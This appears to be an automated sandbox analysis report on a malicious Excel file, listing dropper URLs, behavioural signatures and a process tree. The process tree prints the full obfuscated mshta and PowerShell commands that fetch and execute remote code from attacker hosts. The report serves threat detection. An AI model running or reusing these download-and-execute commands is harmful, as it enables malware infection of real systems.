Analysis

  • max time kernel
    19s
  • max time network
    21s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    20/01/2022, 23:48

General

  • Target
    540a7f58458e28c33c8bd3cdec7d5ba4.xls
  • Size 69KB
  • Sample220120-3thd8acdf5
  • SHA256 2181997083632b17484474d7152e18c8a65175b823c871b164d15d2e20a8ae16
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\540a7f58458e28c33c8bd3cdec7d5ba4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1336
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
            PID:3776
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 1876 -s 1720
            4⤵
            • Program crash
            PID:3588
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:792
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe 8e69080d830b0fb5df824a14cf4bc044 csJfGU/sOk2baMtCgpTggA.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:2600
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 368 -p 1876 -ip 1876
        1⤵
        • Suspicious use of NtCreateProcessExOtherParentProcess
        • Suspicious use of WriteProcessMemory
        PID:3968

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            memory/1336-130-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

            memory/1336-132-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

            memory/1336-131-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

            memory/1336-133-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

            memory/1336-134-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

            memory/1336-137-0x00007FFBAC840000-0x00007FFBAC850000-memory.dmp

            memory/1336-138-0x00007FFBAC840000-0x00007FFBAC850000-memory.dmp